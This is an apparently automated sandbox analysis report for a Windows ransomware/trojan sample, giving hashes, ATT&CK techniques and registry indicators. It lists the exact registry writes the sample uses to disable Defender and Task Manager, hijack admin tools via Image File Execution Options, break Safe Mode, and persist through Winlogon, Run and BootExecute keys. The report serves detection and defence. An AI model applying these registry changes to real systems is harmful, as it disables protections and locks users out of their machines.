4b824261dffe23c58a489b0156f2631895b29fc2a3f9e9cd8643b3d2f585f6a6

Analysis

max time kernel
150s
max time network
146s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/07/2026, 20:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
hopeless (1).exe
Size 96KB
Sample260722-y42tdstgrd
SHA256 4b824261dffe23c58a489b0156f2631895b29fc2a3f9e9cd8643b3d2f585f6a6
MD5 37d92c9187d3dd4d83bf61adac33a233
SHA1 b5fb36a44da6471e8e587d9d3f31b99ac2fab29c
SHA512 802c8c95e603cd879cefec18d84ffef48b422934769a2d3b2c564b82dfae1868af43b0206f4d902c8f3eb0bd16ebedf1f971cc8e4e1fe0a0302317022fb81676
SSDEEP 3072:qw7G6IGmbTkwxJc/S9PLmZcgmVWQCo9B:Z4LwmoW3
TLSH
T1CBA3070AB2E724FCD67BC97845F65631EB72B8224830AF3E4260D9355D21E50EE35F29
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion evasion execution persistence ransomware trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "cmd.exe /c echo HOPELESS_v5.5 && ping -n 3600 127.0.0.1 && start /min C:\\Windows\\System32\\hopeless.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\cmd.exe /c echo HOPELESS_v5.5 && start /min C:\\Windows\\System32\\hopeless.exe"	hopeless (1).exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	hopeless (1).exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	hopeless (1).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	hopeless (1).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	hopeless (1).exe

Windows security bypass 2 TTPs 3 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\FirewallDisableNotify = "1"	hopeless (1).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\AntiVirusDisableNotify = "1"	hopeless (1).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\UpdatesDisableNotify = "1"	hopeless (1).exe

Disables Task Manager via registry modification
defense_evasion

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\services.msc	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmic.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shutdown.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rstrui.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\services.msc\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\eventvwr.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msinfo32.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\control.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\schtasks.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powercfg.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp64.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systeminfo.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systeminfo.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\control.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp64.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gpedit.msc	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\secpol.msc	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\compmgmt.msc\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\devmgmt.msc	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\eventvwr.exe	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winver.exe	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msinfo32.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winver.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsutil.exe	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chkdsk.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chkdsk.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\devmgmt.msc\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskmgmt.msc\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsutil.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sc.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\compmgmt.msc	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskmgmt.msc	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\whoami.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shutdown.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\whoami.exe	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tasklist.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\resmon.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	hopeless (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger = "rundll32.exe"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	hopeless (1).exe

Uses Session Manager for persistence 2 TTPs 1 IoCs

Creates Session Manager registry key to run executable early in system boot.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager\BootExecute = 63006d0064002e0065007800650020002f00630020006500630068006f00200048004f00500045004c004500530053005f00760035002e00350000006100750074006f0063006800650063006b0020006100750074006f00630068006b0020002a0000000000	hopeless (1).exe

Impair Defenses: Safe Mode Boot 1 TTPs 7 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\UserManager	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\SerCx2.sys	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ProfSvc	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\Power	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\iai2c.sys	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\CBDHSvc	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WinDefend	hopeless (1).exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Windows security modification 2 TTPs 3 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\FirewallDisableNotify = "1"	hopeless (1).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\AntiVirusDisableNotify = "1"	hopeless (1).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\UpdatesDisableNotify = "1"	hopeless (1).exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HopelessV5 = "C:\\Windows\\System32\\hopeless.exe"	hopeless (1).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\HopelessV5 = "C:\\Windows\\System32\\hopeless.exe"	hopeless (1).exe

Modifies WinLogon 2 TTPs 17 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{cdeafc3d-948d-49dd-ab12-e578ba4af7aa}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{BA649533-0AAC-4E04-B9BC-4DBAE0325B12}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{827D319E-6EAC-11D2-A4EA-00C04F79F83A}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{7933F41E-56F8-41d6-A31C-4148A711EE93}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{f3ccc681-b74c-4060-9f26-cd84525dca2a}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{C34B2751-1CF4-44F5-9262-C3FC39666591}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{8A28E2C5-8D06-49A4-A08C-632DAA493E17}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{3610eda5-77ef-11d2-8dc5-00c04fa31a66}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{25537BA6-77A8-11D2-9B6C-0000F8080861}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{4bcd6cde-777b-48b6-9804-43568e23545d}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{426031c0-0b47-4852-b0ca-ac3d37bfcb39}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{16be69fa-4209-4250-88cb-716cf41954e0}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions	hopeless (1).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\ReportBootOk = "0"	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{fbf687e6-f063-4d9f-9f4f-fd9a26acdd5f}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{FB2CA36D-0B40-4307-821B-A13B252DE56C}	hopeless (1).exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{e437bc1c-aa7d-11d2-a382-00c04f991e27}	hopeless (1).exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\hopeless.exe	hopeless (1).exe
File opened for modification	C:\Windows\System32\hopeless.exe	hopeless (1).exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Control Panel\Desktop\Wallpaper = "C:\\Windows\\hopeless_wallpaper.bmp"	hopeless (1).exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\hopeless_wallpaper.bmp	hopeless (1).exe

Launches sc.exe 32 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6908	sc.exe
3196	sc.exe
4404	sc.exe
2008	sc.exe
2756	sc.exe
1472	sc.exe
1128	sc.exe
6108	sc.exe
6304	sc.exe
5460	sc.exe
2072	sc.exe
4268	sc.exe
5884	sc.exe
6016	sc.exe
4728	sc.exe
6188	sc.exe
3328	sc.exe
3152	sc.exe
3264	sc.exe
3812	sc.exe
4708	sc.exe
6964	sc.exe
364	sc.exe
6688	sc.exe
6148	sc.exe
4512	sc.exe
1564	sc.exe
3560	sc.exe
2436	sc.exe
3744	sc.exe
1900	sc.exe
2668	sc.exe

Executes a command shell one-liner 1 TTPs 34 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6380	cmd.exe
4136	cmd.exe
400	cmd.exe
1888	cmd.exe
5028	cmd.exe
1920	cmd.exe
6760	cmd.exe
2652	cmd.exe
2676	cmd.exe
3576	cmd.exe
1324	cmd.exe
4164	cmd.exe
3252	cmd.exe
6084	cmd.exe
1508	cmd.exe
6112	cmd.exe
4856	cmd.exe
3680	cmd.exe
1708	cmd.exe
5840	cmd.exe
1684	cmd.exe
4528	cmd.exe
1616	cmd.exe
4984	cmd.exe
4144	cmd.exe
800	cmd.exe
4100	cmd.exe
5688	cmd.exe
6636	cmd.exe
2404	cmd.exe
4952	cmd.exe
2200	cmd.exe
6732	cmd.exe
4644	cmd.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe
4336	hopeless (1).exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	4336	hopeless (1).exe
Token: SeBackupPrivilege	4336	hopeless (1).exe
Token: SeRestorePrivilege	4336	hopeless (1).exe
Token: SeTakeOwnershipPrivilege	4336	hopeless (1).exe
Token: SeLoadDriverPrivilege	4336	hopeless (1).exe
Token: SeSystemEnvironmentPrivilege	4336	hopeless (1).exe
Token: SeShutdownPrivilege	4336	hopeless (1).exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4336 wrote to memory of 4144	4336	hopeless (1).exe	90
PID 4144 wrote to memory of 6908	4144	cmd.exe	92
PID 4336 wrote to memory of 1920	4336	hopeless (1).exe	93
PID 1920 wrote to memory of 3196	1920	cmd.exe	95
PID 4336 wrote to memory of 1508	4336	hopeless (1).exe	96
PID 1508 wrote to memory of 3744	1508	cmd.exe	98
PID 4336 wrote to memory of 6112	4336	hopeless (1).exe	99
PID 6112 wrote to memory of 4268	6112	cmd.exe	101
PID 4336 wrote to memory of 1616	4336	hopeless (1).exe	102
PID 1616 wrote to memory of 4708	1616	cmd.exe	104
PID 4336 wrote to memory of 2404	4336	hopeless (1).exe	105
PID 2404 wrote to memory of 3328	2404	cmd.exe	107
PID 4336 wrote to memory of 6380	4336	hopeless (1).exe	108
PID 6380 wrote to memory of 6688	6380	cmd.exe	110
PID 4336 wrote to memory of 4136	4336	hopeless (1).exe	111
PID 4136 wrote to memory of 6964	4136	cmd.exe	113
PID 4336 wrote to memory of 3576	4336	hopeless (1).exe	114
PID 3576 wrote to memory of 5884	3576	cmd.exe	116
PID 4336 wrote to memory of 4856	4336	hopeless (1).exe	117
PID 4856 wrote to memory of 1128	4856	cmd.exe	119
PID 4336 wrote to memory of 4952	4336	hopeless (1).exe	120
PID 4952 wrote to memory of 6108	4952	cmd.exe	122
PID 4336 wrote to memory of 800	4336	hopeless (1).exe	123
PID 800 wrote to memory of 3152	800	cmd.exe	125
PID 4336 wrote to memory of 5028	4336	hopeless (1).exe	126
PID 5028 wrote to memory of 4404	5028	cmd.exe	128
PID 4336 wrote to memory of 4984	4336	hopeless (1).exe	129
PID 4984 wrote to memory of 1900	4984	cmd.exe	131
PID 4336 wrote to memory of 6760	4336	hopeless (1).exe	132
PID 6760 wrote to memory of 2008	6760	cmd.exe	134
PID 4336 wrote to memory of 1324	4336	hopeless (1).exe	135
PID 1324 wrote to memory of 6148	1324	cmd.exe	137
PID 4336 wrote to memory of 3680	4336	hopeless (1).exe	138
PID 3680 wrote to memory of 2668	3680	cmd.exe	140
PID 4336 wrote to memory of 4164	4336	hopeless (1).exe	141
PID 4164 wrote to memory of 364	4164	cmd.exe	143
PID 4336 wrote to memory of 400	4336	hopeless (1).exe	144
PID 400 wrote to memory of 6016	400	cmd.exe	146
PID 4336 wrote to memory of 2652	4336	hopeless (1).exe	147
PID 2652 wrote to memory of 2756	2652	cmd.exe	149
PID 4336 wrote to memory of 2200	4336	hopeless (1).exe	150
PID 2200 wrote to memory of 6304	2200	cmd.exe	152
PID 4336 wrote to memory of 6732	4336	hopeless (1).exe	153
PID 6732 wrote to memory of 4512	6732	cmd.exe	155
PID 4336 wrote to memory of 3252	4336	hopeless (1).exe	156
PID 3252 wrote to memory of 5460	3252	cmd.exe	158
PID 4336 wrote to memory of 6636	4336	hopeless (1).exe	159
PID 6636 wrote to memory of 1564	6636	cmd.exe	161
PID 4336 wrote to memory of 4100	4336	hopeless (1).exe	162
PID 4100 wrote to memory of 3264	4100	cmd.exe	164
PID 4336 wrote to memory of 1708	4336	hopeless (1).exe	165
PID 1708 wrote to memory of 3560	1708	cmd.exe	167
PID 4336 wrote to memory of 6084	4336	hopeless (1).exe	168
PID 6084 wrote to memory of 4728	6084	cmd.exe	170
PID 4336 wrote to memory of 5840	4336	hopeless (1).exe	171
PID 5840 wrote to memory of 2436	5840	cmd.exe	173
PID 4336 wrote to memory of 5688	4336	hopeless (1).exe	174
PID 5688 wrote to memory of 1472	5688	cmd.exe	176
PID 4336 wrote to memory of 1684	4336	hopeless (1).exe	177
PID 1684 wrote to memory of 2072	1684	cmd.exe	179
PID 4336 wrote to memory of 4644	4336	hopeless (1).exe	180
PID 4644 wrote to memory of 3812	4644	cmd.exe	182
PID 4336 wrote to memory of 1888	4336	hopeless (1).exe	183
PID 1888 wrote to memory of 6188	1888	cmd.exe	185

System policy modification 1 TTPs 4 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer	hopeless (1).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisableTaskMgr = "1"	hopeless (1).exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System	hopeless (1).exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1"	hopeless (1).exe

C:\Users\Admin\AppData\Local\Temp\hopeless (1).exe
"C:\Users\Admin\AppData\Local\Temp\hopeless (1).exe"
1⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Windows security bypass
- Event Triggered Execution: Image File Execution Options Injection
- Uses Session Manager for persistence
- Impair Defenses: Safe Mode Boot
- Windows security modification
- Adds Run key to start application
- Modifies WinLogon
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
